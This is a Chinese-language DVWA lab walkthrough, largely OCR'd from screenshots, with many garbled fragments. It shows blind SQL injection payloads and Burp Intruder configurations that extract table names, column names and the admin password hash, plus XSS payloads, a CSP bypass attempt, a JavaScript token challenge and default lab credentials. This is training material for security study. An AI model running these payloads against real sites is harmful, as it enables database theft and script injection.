Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details.
Attack type: Cluster bomb
GET /vulnerabilities/sqli_blind/?id=1%27+and+ascii%28substr%28%28select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+lim It+1%2C1%29%2C§1§%2C1%29%29%3D§117§++qwe&Submit=Submit HTTP/1.1 Host: b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone Upgrade-Insecure-Requests: 1 DNT: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Apple/WebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng;*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/sqli_blind/?id=1%27+and+ascii%28substr%28%28select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+1%2C1%29%2C1%2C1%29%29%3D116++qwe&Submit=Submit Accept-Encoding: gzip, deflate Accept-Encoding: gzip, deflate Accept-Language: zh-CN_zh;q=0.9 Cookie: PHPSESSID=cev25n95v4b83oil653r8in5o7; security=low
Connection: close
2.
Target Positions Payloads Options
Yay and define and as more provided acts. The purpher of provided acts depends on the attack ture defined in the Basilians tab. Various provided tures are provided acts and provided acts.
and each payload type can be customized in different ways.
Payload set: 1 Payload count: 5
Pavload type: Numbers Request count: 430
Pavload Options [Numbers]
This payload type generates numeric payloads within a given range and in a specified format.
Number range
Type: Sequential Random
From:
Te: E
Step: 1
3
Target Positions Payloads Options
(?) Payload Sets
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.
Payload set: 2 Payload count: 86
Payload type: Numbers Request count: 430
2 Pavload Options [Numbers]
This navload type generates numeric navloads within a given range and in a specified format

Number range	
Type:	Sequential Random
From:	32
To:	117
Step:	1

	Attack Sa	ave Columns				_				
Payload Po	Results	Target Positions Paylo	ads Options							
Configure the details.	Filter: Sho	owing all items							?	ositions - see help for fu
	Request	Payload1	Payload2	Status	Error	Timeout	Length	Comment		
Attack type:	0			200			4848			
CET	348	3	101	200			4848			
Avulnerabilit	414	4	114	200			4848		T I	database%28%29+lim
it+1%2C1%	417	2	115	200			4848			
Host: b20b4	420	5	115	200			4848			
Upgrade-In	426	1	117	200			4848			
DNT: 1	1	1	32	404			4838			
User-Agent	2	2	32	404			4838			
Accept: tex Referer:	3	3	32	404			4838		-	
http://b20b	4	4	20	404			4000			e+from+information
schema.tab Accept-Enc	Request	Response		_						-
Accept-Lan Cookie: PHF	Raw	Params Headers Hex								



然后接着查询users表的字段名称,这里以第四个字段(user)为例。

1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 3,1))=4 -- qwe

1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 3,1),1,1))=117 -- qwe

[chr(i) for i in [117,115,101,114]]

- H-																
	Target Positio	ns Payloads	Options													
	? Payload I	ositions														
	Configure t details.	he positions wh	ere payload	s will be inserted into	the base request. T	The attack typ	type determin	es the way	in which p	ayloads are	e assigned	l to payload	d positions	- see help for	r full	
	Attack type	e: Cluster bom	b													•
	GET /vulnerab 9+and+ta Host: b20 Upgrade- DNT: 1 User-Age	lities/sqli_blind ible_name%3D b47d25e6e414 nsecure-Requ nt: Mozilla/5.0	/?id=1%27 %27users9 l6a001ba4 ests: 1 (Windows I	7 +and +ascii%28sub: %27 +limit +3%2C1% !6fd059ea4.app.mitu NT 10.0; Win64; ×64	:tr%28%28select+ 29%2C§1§%2C1% an.zone) Apple\VebKit/537	:+column_nai %29%29%3E 87.36 (KHTMI	ame+from+ 3D§117§+ 4L, like Geck	·informatic +qwe⋐ co) Chrome	on_schema bmit=Subr e/83.0.410	n <mark>t HTTP/1</mark> nit HTTP/1 3.61 Safar	where+ta .1	able_schen	na%3Ddat	abase%28%	52	
	Accept: te Referer: http://b20	×t/html,applica	ation/×htm 46a001ba	l+×ml,application/×m	ıl;q=0.9,image/we	ebp,image/ap pilities/sgli bli	apng,*/*;q=0 blind/?id=19	0.8, applicat	tion/signed	d-exchang ubstr%289	e;v=b3;q %28select	=0.9 :+column	name+fro	m+informat	tio	

	n_schema.columns =Submit Accept-Encoding: Accept-Language: Cookie: PHPSESSIE Connection: close	+where+table_schema%3Ddatabase%28%29+and+table_name%3D%27users%27+limit+3%2C1%29%2C1%2C1%29%29%3D1117++qwe&Submit gzip, deflate zh-CN,zh;q=0.9)= cev2Sn95v4b83oil653r8in5o7; security=low									
2. Targ	get Positions Payl	oads Options									
?	Payload Sets										
	You can define one o and each payload ty	or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, pe can be customized in different ways.									
	Payload set: 1	Payload count: 4									
	Payload type: Num	bers Request count: 344									
0	Payload Options	[Numbers]									
\bigcirc	This payload type ge	nerates numeric pavloads within a given range and in a specified format.									
	inis payload type generates numeric payloads within a given range and in a specified format.										
	Type:	Sequential O Random									
	From:	1									
	To:	4									
	Step:	1									
	·										
3.											
Targ	et Positions Payl	oads Options									
(?)	Payload Sets										
	You can define one o and each payload ty	or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, pe can be customized in different ways.									
	Payload set: 2	Payload count: 86									
	Payload type: Num	bare Request count: 344									
	Payload type.	Nequest Count. 544									
?	Payload Options	[Numbers]									
	This payload type ge	nerates numeric payloads within a given range and in a specified format.									
	Number range										
	Type:	Sequential O Random									
	From:	32									
	To:	117									
	Step:	1									

4. Ta	rget Positions P	🚯 Intrude	er attack 8					_				
0) Payload Sets	Attack Save Columns										
	You can define or	Results	Target Positions	Payloads Options						for each payload set,		
	and each payload	Filter: Sho	ilter: Showing all items									
	Payload set: 2	Request	Payload1	Payload2	Status 🔺	Error	Timeout Length	Comment				
	Payload type: N	0			200		4848		A			
		279	3	101	200		4848					
		332	4	114	200		4848		F			
(?) Payload Option	334	2	115	200		4848					
	This and and have	341	1	117	200		4848					
	This payload type	1	1	32	404		4838					
	Number range	2	2	32	404		4838					
	rianser range	3	3	32	404		4838					
	Type:	4	4	32	404		4838		-			
	From:	51	4	າາ	404		4020		×			
То	To:	Request	Response		_							
	Step:	Raw	arams Headers H	Hex								
		GFT										



按照上面的方式可以查询出users表里面的字段名称(user, password含有数据)。

1' and length((select password from users where user='admin'))=32 -- qwe

```
1' and ascii(substr((select password from users where user='admin'),1,1))=117 -- qwe
```

[chr(i) for i in

[97,54,54,97,98,98,53,54,56,52,99,52,53,57,54,50,100,56,56,55,53,54,52,102,48,56,51,52,54,101,56,100]] a66abb5684c45962d887564f08346e8d(在第二次演示CSRF的时候密码又改成admin123456了)

1.											
ſ	Target	Positions	Payloads	Options							
(Payload Positions Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.										
	Attack type: Cluster bomb										
	GET /vulnerabilities/sqli_blind/?id=1%27 +and +ascii%28substr%28%28select+password + from + users + where + user%3D%27 admin%27%29%2C§1§%2C1%29%29%3D§117§ + + qwe&&Submit = Submit HTTP/1.1 Host: b20b47 d25e6e4146a001bad6fd059ea4.app.mituan.zone Upgrade-Insecure-Requests: 1 DNT: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng;*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://b20b47 d25e6e4146a001bad6fd059ea4.app.mituan.zone/vulnerabilities/sqli_blind/?id=1%27 + and + length%28%28select + password + from + users + where + user%3D %27 admin%27%29%29%3D32 + + qwe&Submit = Submit Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID = cev25n95v4b83 oil653r8in507; security = low Connection: close										
2.		· · · · · · · · · · · · · · · · · · ·									
	Target	Positions	Payloads	Options							
(?	Payload Set You can define and each paylo	s one or more pad type can	e payload se be customiz	ts. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, zed in different ways.						
	F	Payload set:	1		Payload count: 32						
	F	Payload type:	Numbers		Request count: 2,752						
(Payload Options [Numbers] This payload type generates numeric payloads within a given range and in a specified format.										

Туре:	● Sequential ◯ Random
From:	1
-	

	To:	32
	Step:	1
	How many.	
3.		
Tar	get Positions Payl	ads Options
?	Payload Sets	
	You can define one o and each payload typ	r more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, ine can be customized in different ways.
	Payload set: 2	Payload count: 86

Payload Options [Numbers]

Payload type: Numbers

This payload type generates numeric payloads within a given range and in a specified format.

Request count: 2,752

Number range	
Type:	💿 Sequential 🔘 Random
From:	32
To:	117
Step:	1
How many	

4.

Targe	Position								``	_	
rung		Request	Payload1	Payload2	Status	Error	Timeout	Length	Comment		
\bigcirc	Payload S	2081	1	97	200			4848			
\odot		650	10	52	200			4848			
	You can de	2155	11	99	200			4848			ilable for each payload set,
	and each pa	652	12	52	200			4848			
	Payload cot	685	13	53	200			4848			
	rayload sei	814	14	57	200			4848			
	Payload typ	719	15	54	200			4848			
		592	16	50	200			4848			
		2193	17	100	200			4848			
(?)	Payload C	786	18	56	200			4848			
\cup	This paulos	787	19	56	200			4848			
	mis payloa	706	2	54	200			4848			
	Number ran	756	20	55	200			4848			
	Turner	693	21	53	200			4848			
	Type.	726	22	54	200			4848			
	From:	663	23	52	200			4848			
		2264	24	102	200			4848			
	To:	537	25	48	200			4848			
	Stan	794	26	56	200			4848			
	Step.	635	27	51	200			4848		4	
	How many	3	20	F 0	000			40.40	/*	-	

5.

in or G<u>Login with google</u>

Home Database Ba

	Hash: a66abb5	684c45962d88756	4f08346e8d				
	Type: auto	decrypt	Encrypt	•			
Result: admin123456							
C:\Windows\system32\cmd.exe	e - python						
chr(i) for i in	[117, 115,	101, 114]]					
[chr(i) for i in	[97, 54, 54	, 97, 98, 98, 5	3, 54, 56, 52, 9	99, 52, 53,	57, 54, 50	, 100, 56,	56, 55, 53,
a', '6', '6', 'a',)', '8', '3', '4',	, b, , b, , 6, , e,	,5,,6,, 8,, d]	'8', '4', '	c', '4',	'5', '9'	, '6', '	2', 'd',

Weak Session IDs

用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。一个SessionID就对应一个客户端,用 户拿到session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。

<?php

这个没有看明白,要绕过登录,是需要知道cookie的(而session_id就在cookie里面)。

XSS (DOM)

访问地址 http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/xss_d/?default=<script>alert(1) </script>

| b20b47d25e6e4146a001ba46fd059ea4.app.mituan. | zone/vulnerabilities/xss_d/?default= <script>alert(1)</script> | |
|--|--|----------|
| Home | 47d25e6e4146a001ba46fd059ea4.app.mituan.zone 显示
1
第定
第定
第定
第二 |) |
| Setup / Reset DB
Brute Force
Command Injection | Please choose a language: | at/zycdr |

XSS(Reflected)

| b20b47d25e6e4146a001ba46fd059ea4.app.mituan.z | one/vulnerabilities/xss_r/?name= <script></script> | |
|---|--|--|

XSS(Stored)

| Home | Vulnerab | ility: Stored Cross Site | Scripting (XSS) |
|-------------------|-----------|---------------------------------------|-------------------------------|
| Instructions | | | |
| Setup / Reset DB | Name * | mituan.zon | |
| | | <script>alert(`mituan.zone`)</script> | |
| Brute Force | Message * | | / |
| Command Injection | | Sign Guestbook Clear Guestbook | |
| CSRF | | | https://bloc.csclp.pet/zvcclp |
| File Inclusion | | | |

| | | | head> |
|-----------------------|--|---|---|
| | Vulnorah | ility Stored Croce S | <pre>ito (</pre> |
| Home | vuinerau | mily. Stored Cross 3 | v <div id="container"></div> |
| Instructions | | | <pre>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>></pre> |
| Sotup / Report DR | Name * | | <pre><div id="main_menu"></div> </pre> |
| Setup / Reset DB | | | <pre> V(u) u main_body > V(u) u ma</pre> |
| | Message * | | <h1>Vulnerability: Stored Cross Site Scrip</h1> |
| Brute Force | | | <pre>div class="vulnerable_code_area"></pre> |
| Command Injection | | Sign Guestbook Clear Guestbook | |
| CSRE | | | <pre><div id="guestbook_comments"></div></pre> |
| | | | <pre>v<div id="guestbook_comments"></div></pre> |
| File Inclusion | | | "Name: mituan.zon" |
| File Upload | Name: test | |

 |
| nsecure CAPTCHA | Message: This is | a test comment. | <pre> <script>alert(`mituan.zone`)</script> +=</pre> |
| | Name: mituan.zo | n | |
| SQL Injection | Message: | | |
| SQL Injection (Blind) | | | |
| Weak Session IDs | More Inforr | nation | <h2>More Information</h2> |
| (00 (00)) | | | ▶ |
| | <u>https://wwv</u> | v.owasp.org/index.php/Cross-site_Scrip | ting (XS |
| (SS (Reflected) | <u>nttps://wwv</u> https://en.w | /.owasp.org/index.pnp/XSS_Filter_Evasi
/ikipedia.org/wiki/Cross-site_scripting | ion_cne <pr> </pr> |
| (SS (Stored) | http://www. | cgisecurity.com/xss-faq.html | |
| | <u>http://www.</u> | scriptalert1.com/ | <pre><div class="clear"></div></pre> |
| SP Bypass | | | |
| JavaScript | | | <pre>div id="system_info"></pre> |
| | | | <pre>div id="footer"> https://blog.csdn.nei/zvc</pre> |
| | | | |

发现每次进入这个页面均会弹窗。



Content-Security-Policy内容安全策略是指HTTP返回报文头中的标签,浏览器会根据标签中的内容,判断哪些资源可以加载或执行。是为了缓解潜在的跨站脚本问题(XSS),CSP的实质就是白名单制度,明确告诉客户端,哪些外部资源可以加载和执行。

| Home | Vulnerability: Content Security Policy (CSP) Bypass |
|-----------------------|---|
| Instructions | |
| Setup / Reset DB | You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here: |
| Brute Force | https://pastebin.com/raw/R570EE00 Include |
| Command Injection | |
| CSRF | More Information |
| File Inclusion | <u>Content Security Policy Reference</u> |
| File Upload | Mozilla Developer Network - CSP: script-src Mozilla Security Blog - CSP for the web we have |
| Insecure CAPTCHA | ······································ |
| SQL Injection | Module developed by <u>Digininja</u> . |
| SQL Injection (Blind) | |
| Weak Session IDs | |
| XSS (DOM) | |
| XSS (Peflected) | |

按照我的理解输入提示代码中的地址,就会弹窗的,但是实际并不行,不知道哪里有问题。

Response from http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone:80/vulnerabilities/csp/ [54.222.208.118] Forward Drop Intercept is on Action Raw Headers Hex HTML Render class="">JavaScript DVWA Security class="">PHP Info About Logout/a> </div> </div> <div id="main_body"> <div class="body_padded"> <h1>Vulnerability: Content Security Policy (CSP) Bypass</h1> <div class="vulnerable_code_area"> <script src='https://pastebin.com/raw/R570EE00'></script> <form name="csp" method="POST"> You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here: <input size="50" type="text" name="include" value="" id="include" /> <input type="submit" value="Include" /> </form> </div> <h2>More Information</h2>

JavaScript Attacks

输入success提交,提示我token不对。

Vulnerability: JavaScript Attacks

| Instructions | |
|-----------------------|---|
| Setup / Reset DB | Submit the word "success" to win. |
| | Invalid token. |
| Brute Force | Phrase success |
| Command Injection | |
| CSRF | More Information |
| File Inclusion | |
| File Upload | <u>https://www.w3schools.com/js/</u> <u>https://www.youtube.com/watch?v=cs7EQdWO5o0&index=17&list=WL</u> |
| Insecure CAPTCHA | <u>https://ponyfoo.com/articles/es6-proxies-in-depth</u> |
| SQL Injection | Module developed by <u>Digininja</u> . |
| SQL Injection (Blind) | |
| Weak Session IDs | |
| XSS (DOM) | |
| XSS (Reflected) | |
| XSS (Stored) | |
| CSP Bypass | |
| JavaScript | |

查看源码发现有一个重新生成token的方法。

| | iej vanieraonia | of them_source.prip. | м <u>ј</u> | | |
|--|--|--|---------------------------------|-------------------------|----------------------|
| MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/ | token | 1/3 | ^ | ~ | × |
| !function(n) {"use strict";function t(n,t) {var r=(65535&n)+(65535&t)
(r+64>>>9<<4)]=r;var e,i,a,d,h,1=1732584193,g=-271733879,v=-173258419
{var t,r="",e=32*n.length;for(t=0;t <e;t+=8)r+=string.fromcharcode(n[-< td=""><td>);return(n>>16)+
94,m=271733878;f(
t>>5]>>>t%32&255)</td><td>(t>>16)+(r>>16)<<16 65
pr(e=0;e<n.length;e+=1
;return r}function</n.length;e+=1
</td><td>5535&r}:
16)i=1,:
d(n){v:</td><td>funct
a=g, c
ar t</td><td>tion
d=v,
t,r=</td></e;t+=8)r+=string.fromcharcode(n[-<> |);return(n>>16)+
94,m=271733878;f(
t>>5]>>>t%32&255) | (t>>16)+(r>>16)<<16 65
pr(e=0;e <n.length;e+=1
;return r}function</n.length;e+=1
 | 5535&r}:
16)i=1,:
d(n){v: | funct
a=g, c
ar t | tion
d=v,
t,r= |
| <pre>function rot13(inp) { return inp.replace(/[a-zA-Z]/g,function(c){return States of the state</pre> | tring.fromCharCoo | de((c<="Z"?90:122)>=(< | o=c. cha: | rCode | ∋At(|
| <pre>function generate_token() { var phrase = document.getElementById("phrase").valu document.getElementById("token").value = md5(rot13(p }</pre> | ue;
ohrase)); | | | | |
| generate_token()
 | | | | | |
| <pre></pre> | | https://blog | asdn.ne | at/zyc | :dn |

| 输入框中输入success,然后在console中执行 generate_token();,再 | 点提交。 |
|---|------|
|---|------|

| | <pre>> generate_token();</pre> |
|---|-----------------------------------|
| Vulnerability: JavaScript Attack | s |
| Submit the word "success" to win. Well done! Phrase success Submit | |
| More Information | |



为避免资源浪费,在使用完成之后进行销毁。

| 迷团靶机平台
页 > 靶机实例 | ▲ 个人主页 ● 消息 □ 收藏 ○ 注 |
|---|--|
| 戦1
DVWA
Damn Vulnerable Web Application (DVWA)
首次打开时先点击 login 或直接访问/setup.php。页面跳转后 点击'create/reset database" 重置数据库。再点击 login 返回登陆界
面,或直接访问/login.php。
登陆默认用户名: (任选其一)
用户名 admin pablo gordonb 1337 smithy
密码 password letmein abc123 charley password
官方链接: http://www.dvwa.co.uk/
有什么问题可以反馈给我们 ⓒ | はのです。 はのでのです。 はのでのです。 はのでのです。 ものでのです。 はのでのです。 ものでのです。 はのでのです。 はのでのでのです。 はのでのでのです。 はのでのでのでのです。 はのでのでのです。 はのでのでのでのです。 はのでのでのでのです。 はのでのでのでのです。 はのでのでのでのでのでのでのです。 はのでのでのでのでのでのでのでのです。 はのでのでのでのでのでのでのでのでのでのでのでのでのでのでのでの |
| 控制面板
靶机状态 正在运行 ※ ・ | ●当前靶机收集自互联网上优质的开源靶机项目,
供安全从业者进行免费的学习以及使用,本站不收
取任何费用!如若您知悉其它的开源靶机而本站
并未集成的,可以将其反馈给我们! |

参考的网址如下: DVWA通关指南 三角地安全 DVWA渗透系列十四: JavaScript JOJO的奇妙代码